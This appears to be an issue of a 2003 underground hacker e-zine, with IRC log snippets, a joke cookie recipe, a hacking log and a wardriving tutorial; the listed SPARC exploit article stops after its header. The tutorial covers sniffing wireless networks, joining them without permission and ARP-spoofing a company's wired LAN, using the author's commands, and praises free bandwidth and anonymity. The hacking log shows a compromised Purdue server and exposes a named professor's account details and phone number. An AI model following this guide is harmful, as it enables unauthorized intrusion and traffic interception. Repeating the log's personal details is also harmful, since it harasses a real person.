Copy Link
Add to Bookmark
Report
b-z1ne 04
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
::ÆÆÆ[www.blackhat.cx]ÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆ::
____________
--)-----------|____________|
,' ,'
-)------======== ,' ____ ,'
`. `. ,' ,'__ ,'
`. `. ,' ,'
`. `._,'_______,'________________[ vol.2 <=> issue#1 ]
__________.____ _____ _________ ____ __.__________.___ _______ ___________
\______ \ | / _ \ \_ ___ \| |/ _______ /| |\ \ \_ _____/
| | _/ | / /_\ \/ \ \/| < / / | |/ | \ | __)_
| | \ |___/ | \___| | \__/ /__| | \_| \
|______ ________ ____|__ /\______ _____|__ __________\___\____|_______________/
\/ \/ \/ \/ \/ @logicfive.net
.-"" |=========================== ______________ |---------------------------------
"-...l_______________________ | |' || |_]__ |
[`-.|__________ll_| |----- www.blackhat.cx --------
,' ,' `. `. | (c) The BlackHat Project |
,' ,' `. ____`. -------------------------------
-)---------======== `. `.____`.
__ `. `.
/ /\ `.________`.
_ / / \ --)-------------|___________|
,-- / /\/ / \ -,
| ,/ / \/ / |----> the table of contents
,---| \ \ / |---------------------------------------------------------------,
| `-- \ \ / -----' " Kill my boss? Do I dare live out the American dream?"
| `\`*_' - Homer J. Simpson
| \__________________________________________________________________________'
|
|:0x01 - Welcome --------------------------------------------------------------->STAFF
| > 1ntroduct1on ---------------------------------------------------------->STAFF
| > About Bz1ne ----------------------------------------------------------->STAFF
|:0x02 - News ------------------------------------------------------------------>STAFF
| > Back ------------------------------------------------------------------>STAFF
|:0x03 - 0x31337 --------------------------------------------------------------->STAFF
| > f4t l0gZ!
| > f4t qu0t3z
| > f4t c00k13z
| > f4t h4ckl0gz
|:0x04 - L1cense To Wardr1ve --------------------------------------------------->sorbo
| > Preface
| > 1ntro
| > W1reless Lan Overv1ew
| > 802.11 Overv1ew
| > Management Frames
| > Data Frames
| > Sn1ff1ng Wlan´s
| > Assoc1at1ng To A Network
| > Act1ve Attack
| > Conclus1on
|:0x05 - Explo1t1ng SPARC Buffer Overflow vulnerab1l1t1es ------------------------>pr1
| > 1ntroduct1on
| > Arch1tecture Overv1ew
| > 2.1 - Sparc Reg1sters
| > 2.2 - Sparc P1pel1ne
| > 2.3 - 1nstruction S1ze
| > 2.4 - Function Calls
| > 2.5 - Leaf and Opt1m1zed Leaf Procedures
| > 2.6 - Sparc Stack
| > A Demonstrat1on Vulnerab1l1ty
| > 3.1 - Study1ng the overflow 1n theory
| > 3.2 - Study1ng the overflow w1th gdb
| > Bu1ld1ng an explo1t
| > 4.1 - Major d1fferences between Sparc and x86
| > 4.2 - Al1gnment
| > 4.3 - The explo1t
| > Alternat1ve ways of explo1t1ng
| > Conclus1on
| > References
|:0x06 - Doug Lea Malloc Debug ---------------------------------------------->boldface
| > Introduction
| > Download
| > Installation
| > History
| > TODO
| > Step 1.
| > Step 2.
| > Step 3.
| > Step 4.
| > Step 5.
|:0x07 -
|:0x08 -
|
`-------------------------------------------------------------------------------------'
::ÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆ[www.blackhat.cx]ÆÆÆ::
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
#=> 0x01 Welcome Wr1tten by STAFF
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
#=[ 1ntroduct1on. ]=--->
The Blackhat Community has always been more or less underground.
That is just normal if you think the nature of the scene.
A group of misunderstood and mysterious people that are often judged in world-wide media.
Blackzine or B-zine is trying to bring the community near to common people and it
tries to break the common stereotypes made of "hackers". All blackhats are not evil,
they just dont wan't to live in this many ways cruel society.
For them cyberspace and coding is the way to make the difference. Dont judge, understand.
#=[ About BlackHat. ]=--->
Bzine is for people. From blackhat scene to all those who are
interested in ethics and security related articles.
"White or Greyhat, it just don't matter Sucker dive for your life when my shotgun scatters"
- Anonymous @ http://phrack.ru
blackzine group, 2k3
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
#=> 0x02 News. Wr1tten by STAFF
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
:> Back
As you may have noticed we have b33n inactive the last 2 month. Well there are a few reason
for that I (lkm) was 2 lazy 2 do this alone and I did not have much spare time for doing this,
but now i got good friends that are helping me and making this more easy for me so now there
will be a good issue evry 15th each month so i hope you will like this and i would like to
thank all people that have helped me and supported ! tNx!$#"=%
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
#=> 0x03 0x31337 Wr1tten by STAFF
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
:> f4t l0gz!
Gibson fan:
<jose_> lets hack the gibson
according to ripper:
<bond> skypah
<awnex> i think he's dead
<bond> he may be
<awnex> i gave him laced weed, that might have done it
<bond> heh, i think he drank 320mg of methadone
<skyper> y0 bond :>
verb drunk!(women should not drink!):
matt___]: No such nick/channel
mat___: No such nick/channel
mattt___: No such nick/channel
07:59AM <matt____> my gnu/linux will only be 2.4.18
07:59AM <matt____> BitchX-1.0c19+ by panasync - Linux 2.2.19
07:59AM <matt____> :/
<verb> matt___]: No such nick/channel
<verb> mat___: No such nick/channel
07:59AM <filth_> dunno
<verb> mattt___: No such nick/channel
07:59AM <filth_> i dont use linux
<verb> <-- cannot type while drinking
matt___: No such nick/channel
<verb> jesus chriwst!
matt___: No such nick/channel
07:59AM <matt____> whilst drinking
07:59AM <matt____> :/
ùíù mode/#phrack [-v matt____] by verb
08:00AM <matt____> :(
<verb> okay there we go, and it only took me 5 tries
<verb> now i've forgotten why i devoiced you
08:00AM <matt____> was it an accident the first time?
<verb> its the 4 underscores that threw me :(
trpz is from malaysia!:
<trpz> i reckon bsd should come default with vim instead of vi
<trpz> the fact that i get SO confused when im not told that input mode is set
<trpz> is enough reason in itself
<Cold-Fire> all unix's should come with just sed, ed and vi to annoy linux
kiddies
trpz/#!el8 takes a step back before CF hits him any harder
<trpz> and awk
<Cold-Fire> hehe
<trpz> you need awk
<trpz> i hate it how chfn/sh uses vi to edit
<trpz> in bsd
<Cold-Fire> yeah me too actually
<Cold-Fire> it should just prompt
<Cold-Fire> chsh sync /bin/csh
<shiftee> trpz, it uses whatever $EDITOR is set to (which is vi by default in
bsd)
:> f4t qu0t3z
"i had a gay dream , literally" - sionide
"sendin him down the shop to go buy "some internet" should keep him busy for a few hours"
- retch
:> f4t c00k1ez
[sinister's bakery]
Hi.
Before you get all cocky about "wtf is up with this guy talkin bout cookiez in a blackhat ezine",
you should consider the following statement; blackhats are humans.
They eat. I will reveal a recepy for cookies that taste good and go great with ./'ing the sec-industry.
Here's what we need:
- 250g oat flakes
- 1dl milk
- 2 eggs
- 50g nuts
- 150g sugar
- 150g butter
- 250g flour
- 1/2 baking powder
We take the butter and mix it with sugar and eggs (and i mean MIX IT, so you got some really messy shit when you're done).
In the other pot, we spill the milk over the flakes. We grind the nuts. We add the flakes, nuts and flavour with baking powder
to the messy shit we made of butter few mins ago. After it's all together, we take smaller pieces and make cool shapes out of 'em.
We BAKE it on 220Ci for 10 minz. You can add weed somewhere in the process if you feel like it. Enjoy it :)
:> f4t h4ckl0g
[root@ase .el8b1tch]# finger spaf
Login: spaf Name: Gene Spafford
Directory: /home/pier/e/spaf Shell: /bin/ksh
Never logged in.
No mail.
No Plan.
[root@ase .el8b1tch]# cd /home
[root@ase home]# ls
ase dynamo pier shay
[root@ase home]# cd pier
[root@ase pier]# cd e
[root@ase e]# cd spaf
[root@ase spaf]# ls
ls: .: Permission denied
[root@ase spaf]# ls -al
ls: .: Permission denied
[root@ase spaf]# su spaf
[spaf@ase spaf]# ls
[spaf@ase spaf]# ls -al
total 4
drwx--x--x 2 spaf other 512 Jul 26 1999 .
drwxr-xr-x 138 root root 2560 Oct 28 12:07 ..
[spaf@ase spaf]# pwd
/home/pier/e/spaf
[spaf@ase spaf]# whoami
spaf
[spaf@ase spaf]# id
uid=14309(spaf) gid=1(other) groups=1(other)
[spaf@ase spaf]#
[root@ns1 .el8b1tch]# finger spaf@pier.ecn.purdue.edu
Login name: spaf In real life: Eugene H Spafford
Office: CS116, 47825 Home phone: 4634857
Directory: /home/pier/e/spaf Shell: /bin/ksh
Affiliations: cs Uid: 14309
Expires: December 28, 1996 Login group: other (1)
Department: Computer Science Classification: Professional Faculty
Account type: Special Perm Authorized by: davy
Never logged in.
Mail forwarded to spaf@cerias.purdue.edu
Plan:
yo check it - I'm fat and owned
[root@ns1 .el8b1tch]#
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
#=> 0x04 L1cense To Wardr1ve Wr1tten by sorbo
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
:> Preface
I am not an expert in 802.11b (because it is quite a complicated
protocol), but I know enough in order to abuse it.
I did not have much access to equipment which made my studies
harder. Things may be wrong or imprecise (although I think most of the
information is correct). Please bare with me. I coded all the software you
see in the paper (If you really want it you can request it: it works only on
PrismII based cards).
:> 1ntro
The good old days of wardialling, scanning X.25 and so on seems to
have come back in a better form. That was fun... but scanning was a pain.
Of course, once a carrier was found it was widely insecure because of the
mentality: "no one knows the phone number... why bother with security".
"Hacking" them was easy... actually... default passwords did it all!
Times are changing... and things are becoming even more insecure
(should it not be the opposite?!?!). Well, apparently today you can cruise
around with your car and be connected on the net with 11Mbit bandwidth.
Of course this is also much more exciting than staying home in your hidden
bunker... now you are out on the road ready to kick ass... just like in those
nice movies.
:> W1reless Lan Overv1ew
WLAN consists of a high bandwidth radio LAN on the air. 2.4GHz frequency. Yes this
means short range, but not too short, as you will see on the road. Range usually
varies around 100 meters (for normal cards with built in antennas). Obviously a
site with antennas will reach greater distances. The protocol it uses is IEEE 802.11,
and I will focus on 802.11b (which is the 11Mb/s WLAN). Being a lan on air,
eavesdropping (sniffing) is trivial. The only "security" will therefore only rely on
encryption. 802.11 does provide encryption at a hardware level via the WEP algorithm
(rc4 as a stream cypher using 64/128 bit seed composed of a key and IV (which is known) ).
WEP is broken... therefore relying on it as security is naive. You will however notice
that most of the WLAN networks out there do not even bother with WEP (saving us about 10
minutes of more work... or however long it takes to break WEP). I will not
discuss WEP breaking (since people out there do that much better than me).
I will mainly concentrate on sniffing (passive attacks), and other networking issues.
:> 802.11 Overv1ew
802.11 is quite a complicated protocol. Being a wireless
environment, computers come and go therefore some form of discovery is
needed at the MAC layer. There must be a mechanism to distinguish different
networks that share the same media. This is done trough "association" between
stations that wish to communicate and form a logical network. If two
stations are associated, they may communicate, else not.
Stations associate to each other via a security id (SID). Every logical
network has a unique security id (this was 2 separate networks may run even
if they share the same media: i.e. if they are in range to each other). An
analogy could be that the sid is the "hub or switch" of the network. Thus
stations with the same SID are attached to the same hub. This allows for
different logical networks that share the same medium (the air).
If many networks are present in the same location with a different
SID, everything will work correctly (networks will not interfere at a
"logical" level). They will however interfere at a physical level, since
they will be sending signals at the same frequency. This will cause FCS
errors (checksum errors), thus increasing network latency (lag). A work
around is to send at slightly different frequencies. WLAN's in fact operate
at a frequency range 2.4->2.5GHz. These different frequencies are better
known as channels. Operating wlans at different channels will help the
problem of physical interference.
802.11 can operate in two modes (well actually 3, if you count AP as
a mode): Ad-hoc and infrastructure. Ad-hoc (or independent) is the simplest
form network. The network will consist of a single "cell" (can think of it
as a single logical network). All systems will communicate directly in that
cell. The systems will all be associated with each other.
Infrastructure mode is the better but more expensive design. The
station will associate with an Access Point (AP) and communicate only with
it. A station will be associated with only one AP at a time. You may think
of the AP as the "gateway/bridge/repeater". Access points usually have
better antennas, thus increasing overall network performance. For
example if two stations (A,B) are far apart from each other, but still in range with
the AP, they will still be able to communicate to each other:
|-signal will reach -|- will reach -----|
| | |
[A] ---------------- [AP] ------------- [B]
| |
|------ signal will not reach ----------|
A will send to AP which will send to B. Note: A will not send directly to B (as it would
happen in Ad-hoc mode). In Ad-hoc mode, A and B would not be able to
communicate (since they are out of range form each other). Usually AP's
bridge to wired LAN networks, so someone from the wlan will be able to
access the wired LAN as well. If multiple access points are set, the station
may "roam" from one AP to another (depending on the signal strength, the
station will associate to the AP with best signal). Note: a station may not
be associated to 2 AP's (there must be a unique path to reach the station).
802.11 provides 3 types of frames: management, control and data.
Management deal with the "association" issues and station discovery. Control
are basically ACK frames CTS/RTS and other things (since it is a shared
medium, errors do occur due to interference). Data frames contain the actual
data that is communicated. Data frames may be encrypted with the wep
algorithm (cards provide hardware encryption/decryption to speed things up).
Again... WEP is broken do not rely on it. Note that management and control
frames are sent clear. Also, only the data portion is cyphered (so the
802.11 header will be clear).
:> Management Frames
These frames are used for discovery, authentification and association.
The first step in 802.11 communication is to "find" stations to talk with.
This is achieved by these subtypes of management frames:
BEACON: this frame is an "advertising" frame in which a station gives out
information about itself (yes... we love these... ). This frame is sent by
access points, so stations wishing to join the network may associate.
Listening to beacons is the "passive scanning" stations use for association.
The beacon contains the SID, supported speed rates, channel and other info.
Basically all we need to join a network. You would say this is insecure??
Listen to beacon frames and your in. Yes it is that easy. The fact is that
firmwares should not pass all frames to kernel (thus it should be "secure"),
but we see how this can be overridden.
PROBE REQUEST/RESPONSE:
these are similar to beacons (in fact the response has the same info as
beacon frames). These are used for active scanning, where a station sends a
probe request to find access points (in contrast to passive scanning which
involves beacon interception).
Note: in Ad-hoc mode, you are "associated" at this point and can
communicate. What follows is for Infrastructure mode.
Once and AP is found, we need to authentificate to it. Authentification
in 802.11 means either "null authentification" or "sharedkey". If the
network does not use WEP, authentification is literally "let me in" (no
password.. nothing). If it uses WEP, it involves challenge/response of the
key. This is done with the
AUTHENTIFICATION frame:
it contains the algorithm used ("null" or "wep") and the challenge (only if
wep).
Once a we are authentificated we need to associate to the AP. This is done
with ASSOCIATION REQUEST which contains the station's capabilities
(capabilities involve mode of operation and weather wep is supported)
and we get a ASSOCIATION REPLY which contains an association id and
capabilities.
Here is an example of Ad-hoc "association" (ignoring beacons):
Status=0700 Signal=a5 type=0 sub=4 fds=0 tds=0 wep=0 DA=ff:ff:ff:ff:ff:ff
SA=00:50:8b:d0:39:b6 RA=ff:ff:ff:ff:ff:ff TA=0f:0d:a0:f0:8f:0e MANAGEMENT
PROBE REQUEST SSID=sorbo RATES=1000 2000 5500 11000
Status=0700 Signal=7b type=0 sub=5 fds=0 tds=0 wep=0 DA=00:50:8b:d0:39:b6
SA=00:30:ab:0f:55:51 RA=ca:68:8b:22:5d:ac TA=47:aa:e0:17:8f:6b MANAGEMENT
PROBE RESPONSE ess=0 ibss=1 privacy=0 SSID=sorbo RATES=1000 2000 5500 11000
CHANNEL=6 UNKNOWN ELEMENT 6 (00 00 )
Ok we notice the probe request with the ssid (obviously it is broadcast).
The response has all the needed info: channel, ssid, rates. Also note ibss=1
(indicating ad-hoc mode). The 2 stations are now "associated" and may
communicate (send data frames). The association in Ad-hoc does not involve authentification and
association frames (apparently the firmware keeps a "table of stations" by
intercepting beacons with same ssid). This is also true in WEP environments
(at least from my tests).
Here is the association with an access point (ignoring beacons again):
Status=0700 Signal=99 type=0 sub=4 fds=0 tds=0 wep=0 DA=ff:ff:ff:ff:ff:ff
SA=00:30:ab:0f:55:51 RA=ff:ff:ff:ff:ff:ff TA=0f:0b:f1:30:0f:0f MANAGEMENT
PROBE REQUEST SSID=sorbo RATES=1000 2000 5500 11000
Status=0700 Signal=c0 type=0 sub=5 fds=0 tds=0 wep=0 DA=00:30:ab:0f:55:51
SA=00:50:8b:d0:39:b6 RA=00:50:8b:d0:39:b6 TA=0f:0f:50:f0:8f:2e MANAGEMENT
PROBE RESPONSE ess=1 ibss=0 privacy=0 SSID=sorbo RATES=1000 2000 5500 11000
CHANNEL=3
Ok we get the usual active scan, the reply contains all the info again. Note
ess=1 (since it is an access point).
Status=0700 Signal=b7 type=0 sub=11 fds=0 tds=0 wep=0 DA=00:50:8b:d0:39:b6
SA=00:30:ab:0f:55:51 RA=00:50:8b:d0:39:b6 TA=4f:20:d0:a7:07:ca MANAGEMENT
AUTH algo=0 seq=1 status=0
Status=0700 Signal=99 type=0 sub=11 fds=0 tds=0 wep=0 DA=00:30:ab:0f:55:51
SA=00:50:8b:d0:39:b6 RA=00:50:8b:d0:39:b6 TA=0f:1f:f4:b1:0f:0e MANAGEMENT
AUTH algo=0 seq=2 status=0
Ok we get the auth request and response. Algorithm = 0 (null: note no
password... nothing). Obviously auth is successful (status=0) since there
is no password (we do not use WEP).
Status=0700 Signal=a2 type=0 sub=0 fds=0 tds=0 wep=0 DA=00:50:8b:d0:39:b6
SA=00:30:ab:0f:55:51 RA=00:50:8b:d0:39:b6 TA=0f:fa:e0:a6:8f:25 MANAGEMENT
ASSOC REQ ess=1 ibss=0 privacy=0
Status=0700 Signal=99 type=0 sub=1 fds=0 tds=0 wep=0 DA=00:30:ab:0f:55:51
SA=00:50:8b:d0:39:b6 RA=00:50:8b:d0:39:b6 TA=0e:0f:a2:30:1b:87 MANAGEMENT
ASSOC RESP ess=1 ibss=0 privacy=0 status=0
We then associate with the access point. At this point we may communicate
(by communicate I mean sending data frames).
The firmware does all this management (I think you can set the kernel to do it
somehow... with some strange debug mode). All the user needs to know to
associate with an AP is the security id. This can be obtained by sniffing
beacons which are transmitted all the time (or probe requests/responses).
Thus associating with a network (where WEP is not present) is trivial (all
the info can be sniffed!). APs send beacons on multiple channels usually
as well, so sniffing on one channel may be sufficient, although we can
"channel-hop sniff"
:> Data Frames
Let's see how data is sent once we are associated. The data uses
layer 2 LLC as a datalink (IEEE 803.2). It is usually followed by SNAP,
and whatever follows is determined by the ethertype (usually IP and ARP.
The data may be encrypted with WEP. If this is true the data will consist
of an IV followed by the real data and a checksum (encrypted).
The IV will be clear (since it is needed for decryption).
This is an example of data going from a wireless station to an AP which
bridges it to a wired station:
Status=0700 Signal=96 type=2 sub=0 fds=0 tds=1 wep=0 DA=00:50:8b:d0:39:b6
SA=00:30:ab:0f:55:51 RA=00:80:c8:7a:39:14 TA=4f:1d:d4:c6:0e:2d ICMP
192.168.1.100->192.168.1.254 len=40 type=8 code=0
Status=0700 Signal=c6 type=2 sub=0 fds=1 tds=0 wep=0 DA=00:30:ab:0f:55:51
SA=00:50:8b:d0:39:b6 RA=00:80:c8:7a:39:14 TA=8f:2e:f2:f2:0f:0f ICMP
192.168.1.254->192.168.1.100 len=40 type=0 code=0
As mentioned earlier, all data is sent to the access point. The destination
address is in fact the access point MAC addr. Also note the tds=1 (to access
point). The source address is the src address of the sending station. The
third address (RA) is the address of 192.168.1.254 (the real destination).
In the reply the real source address is in RA again. Note fds=1 (from access
point).
The 802.11 header has 4 address fields because stations communicate with
each other through the access point and not directly with each other. If a
frame is sent to an access point, addr3 (RA) will be the final destination.
If a frame is sent from an access point, RA will be the real source. When is
addr4 used ? Well suppose both tds and fds are 1. This occurs when an access
point sends data from one AP to the other. This happens if 2 stations are
really far from each other and are associated to different AP's. The AP's
must "hop" the packets between them. In this case final source and
destination will be in RA and TA.
In general, the "immediate" source and destination is in DA and SA. The
final (real) addresses will be in RA TA (and will be used according to the
settings of tds and fds).
In Ad-hoc mode, only SA and DA will be used since communication is direct
and no access points are present (fds and tds will always be 0).
:> Sn1ff1ng Wlan´s
Ok enough of the protocol... lets see how we capture all this
stuff. "How do I put a wlan in promiscuous mode?" I probably asked that question
to myself 100 times. Obviously wlan cards SHOULD NOT be capable of entering promiscuous mode
(in fact I think many people rely on this principle for security). As we saw... all data
may be monitored, and crucial configuration parameters are sent in clear
text (even if WEP is enabled... only data frames are ciphered with WEP).
The way I (and all the world I guess) do it:
Hardware:
- Card with Intersil prism II chipset (I've used Compaq WL100 and netgear M401)
Software:
- I modified wlan driver to pass ALL stuff raw via netlink socket
( did not like the way it reorganized the physical header, and I want
packets with FCS error as well... useful for finding networks far away)
- A lame sniffer that dumps everything
PrismII supports "monitor mode" which tells the firmware to shut up and send
everything to us (even undecrypted packets). I have studied the outcome of
these packets and they are quite bugged/messed up (the 802.11 part...).
Here are my general results.
This is the general format:
[PHYSICAL] [802.11] [LENGTH] [802.3] [DATA]
Ok physical is quite straight forward... contains a status (does not report
that it did not decipher packet though...). It also contains signal level.
802.11: this is a "prism2 version" of the 802.11 header. I say prism2
because much of the things (in monitor mode) are wrong (such as wep=0). Also
all address fields are present when not needed. Also, FCS is not present
(but we know FCS error from status in the physical header).
LENGTH: There is just a "length" here put by prism2
802.3: Yeah... prism2 puts a "fake" 802.3 header to help us. The only "valid"
in here is the length which always matches the other LENGTH (but this time big endian =P )
Ok ... all this is always present, no matter what the frame. For control
frames, length will match the length in 802.3 but it is wrong... so
assume 0.
The [data] portion is probably the only sane thing that follows the 802.11
standard.
Ok, we may monitor all the communication on the air (if we have the wep key
we may even decrypt it). Stuff we can do:
- Monitor all passwords / traffic sent on air
- Obtain parameters to associate to network (only the ssid (and channel if
Ad-hoc)
:> Assoc1at1ng To A Network
All the info we need is in beacon packets... gather those... and we
are in. Here is an example of a beacon:
Status=0700 Signal=96 type=0 sub=8 fds=0 tds=0 wep=0 DA=ff:ff:ff:ff:ff:ff
SA=00:50:8b:d0:39:b6 RA=00:50:8b:d0:39:b6 TA=1e:3b:3b:e6:45:4f MANAGEMENT
BEACON ess=1 ibss=0 privacy=0 SSID=sorbo RATES=1000 2000 5500 11000
CHANNEL=3 UNKNOWN ELEMENT 5 (02 03 00 00 )
Ok the first thing we need to know is if the network is with an AP or
Ad-hoc. Well this is easy... look at capabilities and see if ess=1 or ibss=1.
Next thing is the SID. Just read it off the beacon
If the network is Ad-hoc we need the channel. Just read it off beacon again.
We type in the parameters... and we are associated (assuming no WEP key:
again it is easily broken.. go read about it somewhere).
Ok we are associated. We need an IP. Obvious solution: try dhcp (you will be
surprised how many networks have it). If dhcp works we probably have an ip,
router address, dns.. and we probably even go on internet.
Alternatively we can sniff the network a little longer and wait for some arp
packet or ip packet. Then we just assign an IP to ourselves, scan for a
router (try .1 or .254 ) and try to route to the world ;D
Note: once associated you may use tcpdump or some other sniffer.
:> Act1ve Attack
Ok... until now we have only been sniffing wireless and associating.
We can use high speed internet for free... or we can hack the
company (probably no firewalls in wireless). Yes we can sniff... it is
cool... but we want more. You may notice many companies having wireless but
not actually "using" it. This means... you only sniff beacons and
broadcasts. Lets try to sniff their wired lan.
Suppose we associate to the wlan AP and we are bridged to a wired
lan (very common). You may think of the AP as a switch. You "plugged your
laptop on the network". You will not intercept all wired traffic (just as
you wouldn't on a normal network), because only frames with destination address
of a wireless station will be sent on the air by the AP (and broadcasts).
This is obvious: the AP acts like a switch rather than a "hub". What if we
make a host on the wired lan think that it's wired router is on the air?
Yes... good old arp spoofing.
Ok here is the scenario:
We have 2 wired boxes: MAPHIA the router (.254) and 2K (.150)
We then have an access point which bridges to the lan: KNZBOX (.1)
We then have 1 wireless laptop (the intruder): sorbo (.200)
This is how it is setup
INTERNET ----- [modem:MAPHIA:lan]------- [lan:2K]
|
[sorbo:wlan]-[wlan:KNZBOX:lan]
Now suppose 2k does telnet 216.239.37.101 80
We will not sniff it from the wlan, since KNZBOX will not bridge it (MAPHIA
is not on wlan). We want to make 2K think that MAPHIA is on wlan, capture
the data and send it back to MAPHIA. This way we will sniff all traffic
going out from 2k to INTERNET.
All we do poison 2k's arp cache and make it think MAPHIA is at our MAC
address. We then capture the packet, and reroute it back to MAPHIA. This is
how it will look:
2K -> KNZBOX -> sorbo -> KNZBOX -> MAPHIA -> INTERNET
Note: to sniff traffic coming back we would have to poison MAPHIA's arp
cache making it think 2K is on wlan and then reroute it back.
Lets try this:
Step 1: log to network... easy sniff sid, setup... we are in.
# ./sorwdump
Status=0700 Signal=93 type=0 sub=8 fds=0 tds=0 wep=0 DA=ff:ff:ff:ff:ff:ff
SA=00:50:8b:d0:39:b6 RA=00:50:8b:d0:39:b6 TA=0d:2a:74:47:8f:10 MANAGEMENT
BEACON ess=1 ibss=0 privacy=0 SSID=sorbo RATES=1000 2000 5500 11000
CHANNEL=3 UNKNOWN ELEMENT 5 (00 03 01 00 )
Step 2: poison 2k's cache:
send an arp request with srcip MAPHIA srcmac OUR's dstip 2K to 2k.
# ./sarp wlan0 00:30:AB:0F:42:33 00:50:BF:D4:83:CB 1 00:30:AB:0F:42:33 192.168.1.254
00:00:00:00:00:00 192.168.1.150 1000000
(arp -a on 2k will show .254 matches 00:30:AB:0F:42:33 (us))
Step 3: enable ip forwarding on our box (set maphia as default gw aswell) and run tcpdump.
# tcpdump -n -i wlan0 host 216.239.37.101
tcpdump: listening on wlan0
18:23:43.001799 192.168.1.150.1047 > 216.239.37.101.80: S 1954465349:1954465349(0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
18:23:43.002001 192.168.1.150.1047 > 216.239.37.101.80: S 1954465349:1954465349(0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
18:23:43.324833 192.168.1.150.1047 > 216.239.37.101.80: . ack 3952946124 win 17520 (DF)
18:23:43.325623 192.168.1.150.1047 > 216.239.37.101.80: . ack 1 win 17520 (DF)
Nice... ;D
We can sniff all wired traffic as well! (probably do man in the middle as well... we
can do about anything we could do on a normal lan... just need to think a
little)
This attack is not against 802.11 exactly.. in fact it is a more "general"
attack, but I find it very useful. Other active attacks may be done on the
802.11 protocol directly (such as AP hijacking and other things). I do not
think such attacks are worth it. I think being able to monitor everything
(both wireless and wired lan) is enough to launch any other attack. It's
easier to redirect connections via ARP rather than trying to send signals at higher
power than access points and trying to redirect wireless stations or something.
Effectively arp spoofing the main wired router will enable you to monitor,
DOS and redirect about everything. Note that you become the bottleneck of
the lan.. it would be funny seeing an 100Mb/s backbone rerouted in air, and
back on cable again.
:> Conclus1on
The real benefit is: sitting in a car, rerouting all the traffic of
a building in a car and back.
Here are interesting points to consider:
- Free high speed internet
- "Unknown source" i.e. they do not know who it was (unless there was a
camera, or someone caught you WHILE you were doing the attack
- Ability to monitor everything
- Easy
- Ability to send ARP packets (yes I think this very important)
Compare it to "wardialling"
- Yes... car fuel costs =P
- You do not have to rely on default passwords / lame configuration errors
rather u can get in 99% (probably even 100%) of the times
- HIGHSPEED ;D
Well... sit back in your car... launch the network finder...
and see you on the road (watch out for other wardrivers ;D)
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
#=> 0x05 Explo1t1ng SPARC Buffer Overflow vulnerab1l1t1es Wr1tten by pr1
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
:> Introduction
